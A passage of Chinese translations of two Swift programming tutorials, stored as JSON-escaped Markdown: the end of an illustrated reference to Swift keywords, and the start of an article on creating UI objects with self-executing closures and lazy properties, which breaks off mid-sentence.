}\n}\n```\n\n**inout**：传递给函数一个值，然后修改它，它会被传回原来的位置来代替原始值。适用于引用类型和值类型。\n\n```\nfunc dangerousOp(_ error:inout NSError?)\n{\n    error = NSError(domain: \"\", code: 0, userInfo: [\"\":\"\"])\n}\n\nvar potentialError:NSError?\n\ndangerousOp(&potentialError)\n\n// 现在 potentialError 被初始化了，不再是 nil 了\n```\n\n**internal**：访问控制结构，允许实体在它定义模块的任何源文件中使用，但不能在其外部的源文件中使用。\n\n```\nclass Person\n{\n    internal var jobTitle:String = \"\"\n}\n\nlet aPerson = Person()\naPerson.jobTitle = \"This can set anywhere in the application\"\n```\n\n**let**：定义一个不可变的变量。\n\n```\nlet constantString = \"This cannot be mutated going forward\"\n```\n\n**open**：访问控制结构，允许对象在定义的模块之外被访问或子类化。对于成员，外部模块也是可以访问和覆盖的。\n\n```\nopen var foo:String? // 应用的内外都可以访问或覆盖，编写框架时，是很常用的访问控制符\n\n```\n\n**operator**：一个用来检查、更改或合并值的特殊符号或短语。\n\n```\n// “-” 一元运算符，减少目标的值\nlet foo = 5\nlet anotherFoo = -foo // anotherFoo 现在是 -5 了\n\n// ”+“ 组合两个值\nlet box = 5 + 3\n\n\n// ”&&“ 逻辑运算符，用来组合两个布尔值\nif didPassCheckOne && didPassCheckTwo\n\n\n// 三元运算符，包含三个值？\nlet isLegalDrinkingAgeInUS:Bool = age >= 21 ? true : false\n```\n\n**private**：访问控制结构，把实体的作用域限制在声明的位置。\n\n```\nclass Person\n{\n    private var jobTitle:String = \"\"\n}\n\nextension Person\n{\n    // 不会被编译，jobTitle 的作用域只在 Person 类里\n    func printJobTitle()\n    {\n        print(\"My job is \\(jobTitle)\")\n    }\n}\n```\n**protocol**：定义适合特定任务或部分功能的类、属性和其他需求的蓝图。\n\n```\nprotocol Blog\n{\n    var wordCount:Int { get set }\n    func printReaderStats()\n}\n\nclass TTIDGPost : Blog\n{\n    var wordCount:Int\n\n    init(wordCount:Int)\n    {\n        self.wordCount = wordCount\n    }\n\n    func printReaderStats()\n    {\n        // 打印一些统计信息\n    }\n}\n```\n\n**public**：访问控制结构，允许对象在被定义的模块内部访问或子类化，对于成员，也只可以在定义的模块内部可以访问和覆盖。\n\n```\npublic var foo:String? // 在程序内部的任何地方都可以被覆盖或重写，但是外部不行。\n```\n\n**static**：定义该类型自己的调用方法。也用于定义其静态成员。\n\n```\nclass Person\n{\n    var jobTitle:String?\n\n    static func assignRandomName(_ aPerson:Person)\n    {\n        aPerson.jobTitle = \"Some random job\"\n    }\n}\n\nlet somePerson = Person()\nPerson.assignRandomName(somePerson)\n//somePerson.jobTitle is now \"Some random job\"\n```\n\n**struct**：一个构建程序代码的通用且灵活的基础结构，也提供了成员的初始化方法。和 `class` 不同，他们在代码中被传递的时候，永远复制，而不会启动自动引用计数。另外，他们也不能：\n\n- 使用继承。\n- 在运行时进行类型转换。\n- 拥有或者使用析构器。\n\n```\nstruct Person\n{\n    var name:String\n    var age:Int\n    var gender:String\n}\n```\n\n**subscript**：访问集合、列表或者序列的快捷方式。\n\n```\nvar postMetrics = [\"Likes\":422, \"ReadPercentage\":0.58, \"Views\":3409]\nlet postLikes = postMetrics[\"Likes\"]\n```\n\n**typealias**：将现有的类型的命名作为别名。\n\n```\ntypealias JSONDictionary = [String: AnyObject]\n\nfunc parseJSON(_ deserializedData:JSONDictionary){}\n```\n\n**var**：定义一个可变的变量。\n\n```\nvar mutableString = \"\"\nmutableString = \"Mutated\"\n```\n\n#### 语句中的关键字 ####\n\n**break**：在结束一个循环，或者在 `if`、`switch` 中使用。\n\n```\nfor idx in 0...3\n{\n    if idx % 2 == 0\n    {\n        //Exits the loop on the first even value\n        break\n    }\n}\n```\n**case**：求值，然后和 `switch` 提供的类型来比较的语句。\n\n```\nlet box = 1\n\nswitch box\n{\ncase 0:\n    print(\"Box equals 0\")\ncase 1:\n    print(\"Box equals 1\")\ndefault:\n    print(\"Box doesn't equal 0 or 1\")\n}\n```\n\n**continue**：结束循环语句的当前迭代，但是不终止循环语句的继续执行。\n\n```\nfor idx in 0...3\n{\n    if idx % 2 == 0\n    {\n        //Immediately begins the next iteration of the loop\n        continue\n    }\n\n    print(\"This code never fires on even numbers\")\n}\n```\n\n**default**：用来覆盖在 `case` 结构中未被明确定义的值。\n\n```\nlet box = 1\n\nswitch box\n{\ncase 0:\n    print(\"Box equals 0\")\ncase 1:\n    print(\"Box equals 1\")\ndefault:\n    print(\"Covers any scenario that doesn't get addressed above.\")\n}\n```\n\n**defer**：用来执行在程序控制转移到作用域之外之前的代码。\n\n```\nfunc cleanUpIO()\n{\n    defer\n    {\n        print(\"This is called right before exiting scope\")\n    }\n\n    //Close out file streams,etc.\n}\n```\n\n**do**：一个前置语句，用来处理一块代码运行的错误。\n\n```\ndo\n{\n    try expression\n    //statements\n}\ncatch someError ex\n{\n    //Handle error\n}\n```\n\n**else**：与 `if` 语句联合使用，当条件为真时执行代码的一部分，当相同的条件为假的时候执行另一部分。\n\n```\nif 1 > val\n{\n    print(\"val is greater than 1\")\n}\nelse\n{\n    print(\"val is not greater than 1\")\n}\n```\n\n**fallthrough**：在 `switch` 语句中，明确允许一个 case 执行完继续执行下一个。\n\n```\nlet box = 1\n\nswitch box\n{\ncase 0:\n    print(\"Box equals 0\")\n    fallthrough\ncase 1:\n    print(\"Box equals 0 or 1\")\ndefault:\n    print(\"Box doesn't equal 0 or 1\")\n}\n```\n\n**for**：对序列进行迭代，例如数字的范围、数组中的项或字符串里的字符。**和 `in` 关键字配对**\n\n```\nfor _ in 0..<3 { print (\"This prints 3 times\") }\n```\n\n**guard**：在不满足一个或多个条件的情况下，将程序控制转移到作用域之外，同时还可以拆包任何可选类型。\n\n```\nprivate func printRecordFromLastName(userLastName: String?) \n{\n    guard let name = userLastName, userLastName != \"Null\" else\n    {\n        //Sorry Bill Null, find a new job\n        return\n    }\n\n    //Party on\n    print(dataStore.findByLastName(name))\n}\n```\n\n**if**：根据一个或者多个条件的值来执行代码。\n\n```\nif 1 > 2\n{\n    print(\"This will never execute\")\n}\n```\n\n**in**：对序列进行迭代，例如数字的范围、数组中的项或字符串里的字符。**和 `for` 关键字配对**\n\n```\nfor _ in 0..<3 { print (\"This prints 3 times\") }\n```\n\n**repeat**：在考虑循环条件**之前**，执行一次循环里的内容。\n\n```\nrepeat\n{\n    print(\"Always executes at least once before the condition is considered\")\n}\nwhile 1 > 2\n```\n\n**return**：立即打断当前上下文的控制流，另外返回一个得到的值（如果存在的话）。\n\n```\nfunc doNothing()\n{\n    return //Immediately leaves the context\n\n    let anInt = 0\n    print(\"This never prints \\(anInt)\")\n}\n```\n\nand\n\n```\nfunc returnName() -> String?\n{\n    return self.userName //Returns the value of userName\n}\n```\n\n**switch**：考虑一个值，并与几种可能的匹配模式进行比较。然后根据成功匹配的第一个模式，执行合适的代码块。\n\n```\nlet box = 1\n\nswitch box\n{\ncase 0:\n    print(\"Box equals 0\")\n    fallthrough\ncase 1:\n    print(\"Box equals 0 or 1\")\ndefault:\n    print(\"Box doesn't equal 0 or 1\")\n}\n```\n\n**where**：要求关联的类型必须符合一个特定的协议，或者和某些特定的参数类型相同。它也用于提供一个额外的控制条件，来判断一个模式是否符合控制表达式。**where 子句可以在多个上下文中使用，这些例子是 where 作为从句和模式匹配的主要用途。**\n\n```\nprotocol Nameable\n{\n    var name:String {get set}\n}\n\nfunc createdFormattedName<T:Nameable>(_ namedEntity:T) -> String where T:Equatable\n{\n    //Only entities that conform to Nameable which also conform to equatable can call this function\n    return \"This things name is \" + namedEntity.name\n}\n```\n\n以及\n\n```\nfor i in 0…3 where i % 2 == 0\n{\n    print(i) //Prints 0 and 2\n}\n```\n\n**while**：执行一组语句，直到条件变为 `false'。\n\n```\nwhile foo != bar\n{\n    print(\"Keeps going until the foo == bar\")\n}\n```\n\n#### 表达式和类型关键字 ####\n\n**Any**：可以用来表示任何类型的实例，包括函数类型。\n\n```\nvar anything = [Any]()\n\nanything.append(\"Any Swift type can be added\")\nanything.append(0)\nanything.append({(foo: String) -> String in \"Passed in \\(foo)\"})\n```\n\n**as**：类型转换运算符，用于尝试将值转换成不同的、预期的和特定的类型。\n\n```\nvar anything = [Any]()\n\nanything.append(\"Any Swift type can be added\")\nanything.append(0)\nanything.append({(foo: String) -> String in \"Passed in \\(foo)\" })\n\nlet intInstance = anything[1] as? Int\n```\n\n或\n\n```\nvar anything = [Any]()\n\nanything.append(\"Any Swift type can be added\")\nanything.append(0)\nanything.append({(foo: String) -> String in \"Passed in \\(foo)\" })\n\nfor thing in anything\n{\n    switch thing\n    {\n    case 0 as Int:\n        print(\"It's zero and an Int type\")\n    case let someInt as Int:\n        print(\"It's an Int that's not zero but \\(someInt)\")\n    default:\n        print(\"Who knows what it is\")\n    }\n}\n```\n\n**catch**：如果一个错误在 `do` 从句中被抛出，它会根据 `catch` 从句来匹配错误会如何被处理。[**摘自我之前的一篇关于 Swift 的错误处理文章。**](https://medium.com/the-traveled-ios-developers-guide/swift-error-handling-2ccc1e305f3f#.tkyggy7cw)\n\n```\ndo\n{\n    try haveAWeekend(4)\n}\ncatch WeekendError.Overtime(let hoursWorked)\n{\n    print(“You worked \\(hoursWorked) more than you should have”)\n}\ncatch WeekendError.WorkAllWeekend\n{\n    print(“You worked 48 hours :-0“)\n}\ncatch\n{\n    print(“Gulping the weekend exception”)\n}\n```\n\n**false**：Swift 中用于表示逻辑类型 — 布尔类型的两个值之一，代表非真。\n\n```\nlet alwaysFalse = false\nlet alwaysTrue = true\n\nif alwaysFalse { print(\"Won't print, alwaysFalse is false 😉\")} \n```\n\n**is**：类型检查运算符，用来识别一个实例是否是特定的类型。\n\n```\nclass Person {}\nclass Programmer : Person {}\nclass Nurse : Person {}\n\nlet people = [Programmer(), Nurse()]\n\nfor aPerson in people\n{\n    if aPerson is Programmer\n    {\n        print(\"This person is a dev\")\n    }\n    else if aPerson is Nurse\n    {\n        print(\"This person is a nurse\")\n    }\n}\n```\n\n**nil**：表示 Swift 中任何类型的无状态的值。**和 Objective-C 的 nil 不同，它是一个指向不存在对象的指针。**\n\n```\nclass Person{}\nstruct Place{}\n\n//Literally any Swift type or instance can be nil\nvar statelessPerson:Person? = nil\nvar statelessPlace:Place? = nil\nvar statelessInt:Int? = nil\nvar statelessString:String? = nil\n```\n\n**rethrows**：表明仅当该函数的一个函数类型的参数抛出错误时，该函数才抛出错误。\n\n```\nfunc networkCall(onComplete:() throws -> Void) rethrows\n{\n    do\n    {\n        try onComplete()\n    }\n    catch\n    {\n        throw SomeError.error\n    }\n}\n```\n\n**super**：公开的访问父类属性、方法或别名。\n\n```\nclass Person\n{\n    func printName()\n    {\n        print(\"Printing a name. \")\n    }\n}\n\nclass Programmer : Person\n{\n    override func printName()\n    {\n        super.printName()\n        print(\"Hello World!\")\n    }\n}\n\nlet aDev = Programmer()\naDev.printName() //\"Printing a name. Hello World!\"\n```\n\n**self**：每个类型实例的隐含属性，它完全等于实例本身。在区别函数参数名和属性名时非常有用。\n\n```\nclass Person\n{\n    func printSelf()\n    {\n        print(\"This is me: \\(self)\")\n    }\n}\n\nlet aPerson = Person()\naPerson.printSelf() //\"This is me: Person\"\n```\n\n**Self**：在协议里，代表最终符合给定协议的类型。\n\n```\nprotocol Printable\n{\n    func printTypeTwice(otherMe:Self)\n}\n\nstruct Foo : Printable\n{\n    func printTypeTwice(otherMe: Foo)\n    {\n        print(\"I am me plus \\(otherMe)\")\n    }\n}\n\nlet aFoo = Foo()\nlet anotherFoo = Foo()\n\naFoo.printTypeTwice(otherMe: anotherFoo) //I am me plus Foo()\n```\n\n**throw**：从当前上下文直接抛出一个错误。\n\n```\nenum WeekendError: Error\n{\n    case Overtime\n    case WorkAllWeekend\n}\n\nfunc workOvertime () throws\n{\n    throw WeekendError.Overtime\n}\n```\n\n**throws**：表示一个函数、方法或初始化方法可能会抛出一个错误。\n\n```\nenum WeekendError: Error\n{\n    case Overtime\n    case WorkAllWeekend\n}\n\nfunc workOvertime () throws\n{\n    throw WeekendError.Overtime\n}\n\n//\"throws\" indicates in the function's signature that I need use try, try? or try!\ntry workOvertime()\n```\n\n**true**：Swift 中用于表示逻辑类型 — 布尔类型的两个值之一，代表真。\n\n```\nlet alwaysFalse = false\nlet alwaysTrue = true\n\nif alwaysTrue { print(\"Always prints\")}\n```\n\n**try**：表示接下来的函数可能会抛出一个错误。有三种不同的用法：try、try? 和 try!。\n\n```\nlet aResult = try dangerousFunction() //Handle it, or propagate it\nlet aResult = try! dangerousFunction() //This could trap\nif let aResult = try? dangerousFunction() //Unwrap the optional\n```\n\n#### 关键字中使用模式 ####\n\n**_**：通配符，匹配并忽略任何值。\n\n```\nfor _ in 0..<3\n{\n    print(\"Just loop 3 times, index has no meaning\")\n}\n```\n\nanother use\n\n```\nlet _ = Singleton() //Ignore value or unused variable\n```\n\n#### 关键字中使用 # \n\n**#available**：`if`、`while` 和 `guard` 语句的条件，根据特定的平台，来在运行时查询 API 的可用性。\n\n```\nif #available(iOS 10, *)\n{\n    print(\"iOS 10 APIs are available\")\n}\n```\n\n**#colorLiteral**：playground 字面量，返回一个可交互的颜色选择器来赋值给一个变量。\n\n```\nlet aColor = #colorLiteral //Brings up color picker\n```\n\n**#column**：特殊的文字表达式，返回它开始位置的列数。\n\n```\nclass Person\n{\n    func printInfo()\n    {\n        print(\"Some person info - on column \\(#column)\") \n    }\n}\n\nlet aPerson = Person()\naPerson.printInfo() //Some person info - on column 53\n```\n\n**#else**：编译条件控制语句，允许程序条件编译一些指定的代码。与 `＃if` 语句结合使用，当条件为真时执行代码的一部分，当相同的条件为假时执行另一部分。\n\n```\n#if os(iOS)\n    print(\"Compiled for an iOS device\")\n#else\n    print(\"Not on an iOS device\")\n#endif\n```\n\n**#elseif**：条件编译控制语句，允许程序条件编译一些指定的代码。与 `＃if` 语句结合使用，在给出的条件为真时，执行这部分的代码。\n\n```\n#if os(iOS)\n    print(\"Compiled for an iOS device\")\n#elseif os(macOS)\n    print(\"Compiled on a mac computer\")\n#endif\n```\n\n**#endif**：条件编译控制语句，允许程序条件编译一些指定的代码。用于标记结束需要条件编译的代码。\n\n```\n#if os(iOS)\n    print(\"Compiled for an iOS device\")\n#endif\n```\n\n**#file**：特殊的文字表达式，返回这个文件的名称。\n\n```\nclass Person\n{\n    func printInfo()\n    {\n        print(\"Some person info - inside file \\(#file)\") \n    }\n}\n\nlet aPerson = Person()\naPerson.printInfo() //Some person info - inside file /*file path to the Playground file I wrote it in*/\n```\n\n**#fileReference**：playground 字面量，返回一个选择器来选择文件，然后作为一个 `NSURL` 实例返回。\n\n```\nlet fontFilePath = #fileReference //Brings up file picker\n```\n\n**#function**：特殊的文字表达式，用来返回一个函数的名称，如果在方法里，它返回方法名，如果在属性的 getter 或者 setter 里，它返回属性的名称，如果在特殊的成员，比如 `init` 或者 `subscript`里，它返回关键字，如果在文件的顶部，那它返回当前模块的名称。\n\n```\nclass Person\n{\n    func printInfo()\n    {\n        print(\"Some person info - inside function \\(#function)\") \n    }\n}\n\nlet aPerson = Person()\naPerson.printInfo() //Some person info - inside function printInfo()\n```\n\n**#if**：条件编译控制语句，允许程序条件编译一些指定的代码。根据一个或多个条件来判断是否执行代码。\n\n```\n#if os(iOS)\n    print(\"Compiled for an iOS device\")\n#endif\n```\n\n**#imageLiteral**：playground 字面量，返回一个选择器来选择图片，然后作为一个 `UIImage` 实例返回。\n\n```\nlet anImage = #imageLiteral //Brings up a picker to select an image inside the playground file\n```\n\n**#line**：特殊的文字表达式，返回它所在位置的行数。\n\n```\nclass Person\n{\n    func printInfo()\n    {\n        print(\"Some person info - on line number \\(#line)\") \n    }\n}\n\nlet aPerson = Person()\naPerson.printInfo() //Some person info - on line number 5\n```\n\n**#selector**：构成 Objective-C 选择器的表达式，它使用静态检查来确保该方法存在，并且它也暴露给 Objective-C。\n\n```\n//Static checking occurs to make sure doAnObjCMethod exists\ncontrol.sendAction(#selector(doAnObjCMethod), to: target, forEvent: event)\n```\n\n**#sourceLocation**：用于指定行数和文件名的行控制语句，该行数和文件名可能和正在编译的源代码的行数和文件名不同。适用于诊断和调试时，更改源代码的位置。\n\n```\n#sourceLocation(file:\"foo.swift\", line:6)\n\n//Reports new values\nprint(#file)\nprint(#line)\n\n//This resets the source code location back to the default values numbering and filename\n#sourceLocation()\n\nprint(#file)\nprint(#line)\n```\n\n#### 在特定上下文中的关键字 ####\n\n- **如果这些关键字在它们各自的上下文之外使用，则它们实际上可以作为标识符**\n\n**associativity**：指定如何在没有使用 `left`、`right` 或 `none` 分组括号的情况下，将具有相同优先级级别的运算符组合在一起。\n\n```\ninfix operator ~ { associativity right precedence 140 }\n4 ~ 8\n```\n\n**convenience**：类中的辅助初始化器，最终会把实例的初始化委托给特定的初始化器。\n\n```\nclass Person\n{\n    var name:String\n\n\n    init(_ name:String)\n    {\n        self.name = name\n    }\n\n\n    convenience init()\n    {\n        self.init(\"No Name\")\n    }\n}\n\nlet me = Person()\nprint(me.name)//Prints \"No Name\"\n```\n\n**dynamic**：表示对该成员或函数的访问从未被编译器内联或虚拟化，这意味着对该成员的访问始终使用 Objective-C 运行时来动态（而非静态）派发。\n\n```\nclass Person\n{\n    //Implicitly has the \"objc\" attribute now too\n    //This is helpful for interop with libs or\n    //Frameworks that rely on or are built\n    //Around Obj-C \"magic\" (i.e. some KVO/KVC/Swizzling)\n    dynamic var name:String?\n}\n```\n\n**didSet**：属性观察，在属性存入一个值后立即调用。\n\n```\nvar data = [1,2,3]\n{\n    didSet\n    {\n        tableView.reloadData()\n    }\n}\n```\n\n**final**：阻止方法、属性或者下标被继承。\n\n```\nfinal class Person {}\nclass Programmer : Person {} //Compile time error\n```\n\n**get**：返回成员给定的值。也用于计算属性，可以间接地获取其他属性和值。\n\n```\nclass Person\n{\n    var name:String\n    {\n        get { return self.name }\n        set { self.name = newValue}\n    }\n\n    var indirectSetName:String\n    {\n        get\n        {\n            if let aFullTitle = self.fullTitle\n            {\n                return aFullTitle\n            }\n            return \"\"\n        }\n\n        set (newTitle)\n        {\n            //If newTitle was absent, newValue could be used\n            self.fullTitle = \"\\(self.name) :\\(newTitle)\"\n        }\n\n    }\n}\n```\n\n**infix**：用于两个目标之间的特定运算符。如果一个新的全局运算符被定义为中置运算符，那它还需要成员之间的优先级组。\n\n```\nlet twoIntsAdded = 2 + 3\n```\n\n**indirect**：表示枚举将另一个枚举的实例作为一个或多个枚举的关联值。\n\n```\nindirect enum Entertainment\n{\n    case eventType(String)\n    case oneEvent(Entertainment)\n    case twoEvents(Entertainment, Entertainment)\n}\n\nlet dinner = Entertainment.eventType(\"Dinner\")\nlet movie = Entertainment.eventType(\"Movie\")\n\nlet dateNight = Entertainment.twoEvents(dinner, movie)\n```\n\n**lazy**：属性的初始值在第一次使用时再计算。\n\n```\nclass Person\n{\n    lazy var personalityTraits = {\n        //Some crazy expensive database  hit\n        return [\"Nice\", \"Funny\"]\n    }()\n}\n\nlet aPerson = Person()\naPerson.personalityTraits //Database hit only happens now once it's accessed for the first time\n```\n\n**left**：指定操作符的关联顺序为从左到右，这样在没有分组括号的情况下，相同优先级的也会被正确的分到一组。\n\n```\n//The \"-\" operator's associativity is left to right\n10-2-4 //Logically grouped as (10-2) - 4\n```\n\n**mutating**：允许在特定的方法中，对结构体或枚举的属性进行修改。\n\n```\nstruct Person\n{\n    var job = \"\"\n\n    mutating func assignJob(newJob:String)\n    {\n        self = Person(job: newJob)\n    }\n}\n\nvar aPerson = Person()\naPerson.job //\"\"\n\naPerson.assignJob(newJob: \"iOS Engineer at Buffer\")\naPerson.job //iOS Engineer at Buffer\n```\n\n**none**：运算符没有提供任何关联性，这限制了相同优先级运算符的出现间隔。\n\n```\n//The \"<\" operator is a nonassociative operator\n1 < 2 < 3 //Won't compile\n```\n\n**nonmutating**：指定成员的 setter 不会修改它包含的实例，但是可以有其他的目的。\n\n```\nenum Paygrade\n{\n    case Junior, Middle, Senior, Master\n\n    var experiencePay:String?\n    {\n        get\n        {\n            database.payForGrade(String(describing:self))\n        }\n\n        nonmutating set\n        {\n            if let newPay = newValue\n            {\n                database.editPayForGrade(String(describing:self), newSalary:newPay)\n            }\n        }\n    }\n}\n\nlet currentPay = Paygrade.Middle\n\n//Updates Middle range pay to 45k, but doesn't mutate experiencePay\ncurrentPay.experiencePay = \"$45,000\"\n```\n\n**optional**：用于描述协议中的可选方法。这些方法不必由符合协议的类型来实现。\n\n```\n@objc protocol Foo\n{\n    func requiredFunction()\n    @objc optional func optionalFunction()\n}\n\nclass Person : Foo\n{\n    func requiredFunction()\n    {\n        print(\"Conformance is now valid\")\n    }\n}\n```\n\n**override**：表示子类将提供自己的实例方法、类方法、实例属性，类属性或下标的自定义实现，否则它将从父类继承。\n\n```\nclass Person\n{\n    func printInfo()\n    {\n        print(\"I'm just a person!\")\n    }\n}\n\n\nclass Programmer : Person\n{\n    override func printInfo()\n    {\n        print(\"I'm a person who is a dev!\")\n    }\n}\n\n\nlet aPerson = Person()\nlet aDev = Programmer()\n\n\naPerson.printInfo() //I'm just a person!\naDev.printInfo() //I'm a person who is a dev!\n```\n\n**postfix**：指定操作符在它操作的目标之后。\n\n```\nvar optionalStr:String? = \"Optional\"\nprint(optionalStr!)\n```\n\n**precedence**：表示一个操作符的优先级高于其他，所以这些运行符先被应用。\n\n```\ninfix operator ~ { associativity right precedence 140 }\n4 ~ 8\n```\n\n**prefix**：指定操作符在它的操作的目标之前。\n\n```\nvar anInt = 2\nanInt = -anInt //anInt now equals -2\n```\n\n**required**：强制编译器确保每个子类都必须实现给定的初始化器。\n\n```\nclass Person\n{\n    var name:String?\n\n\n    required init(_ name:String)\n    {\n        self.name = name\n    }\n}\n\n\nclass Programmer : Person\n{\n    //Excluding this init(name:String) would be a compiler error\n    required init(_ name: String)\n    {\n        super.init(name)\n    }\n}\n```\n\n**right**：指定操作符的关联顺序为从右到左，这样在没有分组括号的情况下，相同优先级的也会被正确的分到一组。\n\n```\n//The \"??\" operator's associativity is right to left\nvar box:Int?\nvar sol:Int? = 2\n\n\nlet foo:Int = box ?? sol ?? 0 //Foo equals 2\n```\n\n**set**：获取成员的值来作为它的新值。也可用于计算属性，间接地设置其他属性和值。如果一个计算属性的 setter 没有定义一个名字来代表要设置的新值，那么默认新值的名字为 `newValue`。 \n\n```\nclass Person\n{\n    var name:String\n    {\n        get { return self.name }\n        set { self.name = newValue}\n    }\n\n\n    var indirectSetName:String\n    {\n        get\n        {\n            if let aFullTitle = self.fullTitle\n            {\n                return aFullTitle\n            }\n            return \"\"\n        }\n\n\n        set (newTitle)\n        {\n            //If newTitle was absent, newValue could be used\n            self.fullTitle = \"\\(self.name) :\\(newTitle)\"\n        }\n    }\n}\n```\n\n**Type**：代指任何类型的类型，包括类的类型、结构体的类型、枚举类型和协议类型。\n\n```\nclass Person {}\nclass Programmer : Person {}\n\n\nlet aDev:Programmer.Type = Programmer.self\n```\n\n**unowned**：在循环引用中，一个实例引用另一个实例，在另一个实例具有相同的生命周期或更长的生命周期时，不会对它强持有。\n\n```\nclass Person\n{\n    var occupation:Job?\n}\n\n\n//Here, a job never exists without a Person instance, and thus never outlives the Person who holds it.\nclass Job\n{\n    unowned let employee:Person\n\n\n    init(with employee:Person)\n    {\n        self.employee = employee\n    }\n}\n```\n\n**weak**：在循环引用中，一个实例引用另一个实例，在另一个实例具有较短生命周期时，不会对它强持有。\n\n```\nclass Person\n{\n    var residence:House?\n}\n\n\nclass House\n{\n    weak var occupant:Person?\n}\n\n\nvar me:Person? = Person()\nvar myHome:House? = House()\n\n\nme!.residence = myHome\nmyHome!.occupant = me\n\n\nme = nil\nmyHome!.occupant //Is now nil\n```\n\n**willSet**：属性观察，在属性即将存入一个值之前调用。\n\n```\nclass Person\n{\n    var name:String?\n    {\n        willSet(newValue) {print(\"I've got a new name, it's \\(newValue)!\")}\n    }\n}\n\n\nlet aPerson = Person()\naPerson.name = \"Jordan\" //Prints out \"I've got a new name, it's Jordan!\" right before name is assigned to\n```\n\n#### 最后的思考 ####\n\n呼!\n\n这是一个有趣的创作。我选了一些我以前没有真正仔细思考的东西写，但是我认为这些技巧是**不需要**像要考试的列表一样记住的。\n\n更好的是，随时带着这个列表。让它随时的刺激着你的脑波，这样在你需要使用一些特定的关键字的时候，你就会知道它，然后使用它。\n\n下次再见 — 感谢阅读 ✌️。\n"
  },
  {
    "path": "TODO/swift-lazy-initialization-with-closures.md",
    "content": "> * 原文地址：[Swift Lazy Initialization with Closures][1]\n> * 原文作者：本文已获原作者 [Bob Lee][2] 授权\n> * 译文出自：[掘金翻译计划][3]\n> * 译者：[lsvih][4]\n> * 校对者：[zhangqippp](https://github.com/zhangqippp),[Zheaoli](https://github.com/Zheaoli)\n\n# 在 Swift 中使用闭包实现懒加载\n\n## 学习如何兼顾模块化与可读性来创建对象\n\n![](https://cdn-images-1.medium.com/max/2000/1*KNmIy5QAOeokXPW86TtVyA.png)\n\n（图为苹果的 Magic Keyboard 2 与 Magic Mouse 2）\n\n**亲爱的读者你们好！我是 Bob，很高兴能在这篇文章中与你们相遇！如你想加入我的邮件列表，获取更多学习 iOS 开发的文章，请点击**[**这儿**][5]**注册，很快就能完成的哦 :)**\n\n### 动机\n\n在我刚开始学习 iOS 开发的时候，我在 YouTube 上找了一些教程。我发现这些教程有时候会用下面这种方式来创建 UI 对象:\n\n```\nlet makeBox: UIView = {\n let view = UIView()\n return view\n}()\n```\n\n作为一个初学者，我自然而然地复制并使用了这个例子。直到有一天，我的一个读者问我：“为什么你要加上`{}`呢？最后为什么要加上一对`()`呢？这是一个计算属性吗？”我哑口无言，因为我自己也不知道答案。\n\n因此，我为过去年轻的自己写下了这份教程。说不定还能帮上其他人的忙。\n\n### 目标\n\n这篇教程有一下三个目标：第一，了解如何像前面的代码一样，非常规地创建对象；第二，知道编在写 Swfit 代码时，什么时候该使用 `lazy var`；第三，快加入我的邮件列表呀。\n\n#### 预备知识\n\n为了让你能轻松愉快地和我一起完成这篇教程，我强烈推荐你先了解下面这几个概念。\n\n1. [**闭包**][6]\n2. [**捕获列表与循环引用 \\[weak self\\]** ][7]\n3. **面向对象程序设计**\n\n### 创建 UI 组件\n\n在我介绍“非常规”方法之前，让我们先复习一下“常规”方法。在 Swift 中，如果你要创建一个按钮，你应该会这么做：\n\n```\n// 设定尺寸\nlet buttonSize = CGRect(x: 0, y: 0, width: 100, height: 100)\n\n// 创建控件\nlet bobButton = UIButton(frame: buttonSize)\nbobButton.backgroundColor = .black\nbobButton.titleLabel?.text = \"Bob\"\nbobButton.titleLabel?.textColor = .white\n```\n\n这样做**没问题**。\n\n假设现在你要创建另外三个按钮，你很可能会把上面的代码复制，然后把变量名从 `bobButton` 改成 `bobbyButton`。\n\n这未免也太枯燥了吧。\n\n```\n// New Button \nlet bobbyButton = UIButton(frame: buttonSize)\nbobbyButton.backgroundColor = .black\nbobbyButton.titleLabel?.text = \"Bob\"\nbobbyButton.titleLabel?.textColor = .white\n```\n\n为了方便，你可以：\n\n![](https://cdn-images-1.medium.com/max/800/1*oDIPy0i4YzUnKVR4XYI4kg.gif)\n\n使用快捷键：ctrl-cmd-e 来完成这个工作。\n\n如果你不想做重复的工作，你也可以创建一个函数。\n\n```\nfunc createButton(enterTitle: String) -> UIButton {\n let button = UIButton(frame: buttonSize)\n button.backgroundColor = .black\n button.titleLabel?.text = enterTitle\n return button\n}\ncreateButton(enterTitle: \"Yoyo\") //  👍\n```\n\n然而，在 iOS 开发中，很少会看到一堆一模一样的按钮。因此，这个函数需要接受更多的参数，如背景颜色、文字、圆角尺寸、阴影等等。你的函数最后可能会变成这样：\n\n```\nfunc createButton(title: String, borderWidth: Double, backgrounColor, ...) -> Button \n```\n\n但是，即使你为这个函数加上了默认参数，上面的代码依然不理想。这样的设计降低了代码的可读性。因此，比起这个方法，我们还是采用上面那个”单调“的方法为妙。\n\n到底有没有办法让我们既不那么枯燥，还能让代码更有条理呢？当然咯。我们现在只是复习你过去的做法——是时候更上一层楼，展望你未来的做法了。\n\n### 介绍”非常规“方法\n\n在我们使用”非常规“方法创建 UI 组件之前，让我们先回答一下最开始那个读者的问题。`{}`是什么意思，它是一个`计算属性`吗？\n\n**当然不是，它只是一个闭包**。\n\n首先，让我来示范一下如何用闭包来创建一个对象。我们设计一个名为`Human`的结构：\n\n```\nstruct Human {\n init() {\n  print(\"Born 1996\")\n }\n}\n```\n\n现在，让你看看怎么用闭包创建对象：\n\n```\nlet createBob = { () -> Human in\n let human = Human()\n return human\n}\n\nlet babyBob = createBob() // \"Born 1996\"\n```\n\n**如果你不熟悉这段语法，请先停止阅读这篇文章，去看看** [**Fear No Closure with Bob**][8] **充充电吧。**\n\n解释一下，`createBob` 是一个类型为 `()-> Human` 的闭包。你已经通过调用 `createBob()` 创建好了一个 `babyBob` 实例。\n\n然而，这样做你创建了两个常量：`createBob` 与 `babyBob`。如何把所有的东西都放在一个声明中呢？请看：\n\n```\nlet bobby = { () -> Human in\n let human = Human()\n return human\n}()\n```\n\n现在，这个闭包通过在最后加上 `()` 执行了自己，`bobby` 现在被赋值为一个 `Human` 对象。干的漂亮！\n\n**现在你已经学会了使用闭包来创建一个对象**\n\n让我们应用这个方法，模仿上面的例子来创建一个 UI 对象吧。\n\n```\nlet bobView = { () -> UIView in\n let view = UIView()\n view.backgroundColor = .black\n return view\n}()\n```\n很好，我们还能让它更简洁。实际上，我们不需要为闭包指定类型，我们只需要指定 `bobView` 实例的类型就够了。例如：\n\n```\nlet bobbyView: **UIView** = {\n let view = UIView()\n view.backgroundColor = .black\n return view\n}()\n```\n\nSwift 能够通过关键字 `return` 推导出这个闭包的类型是 `() -> 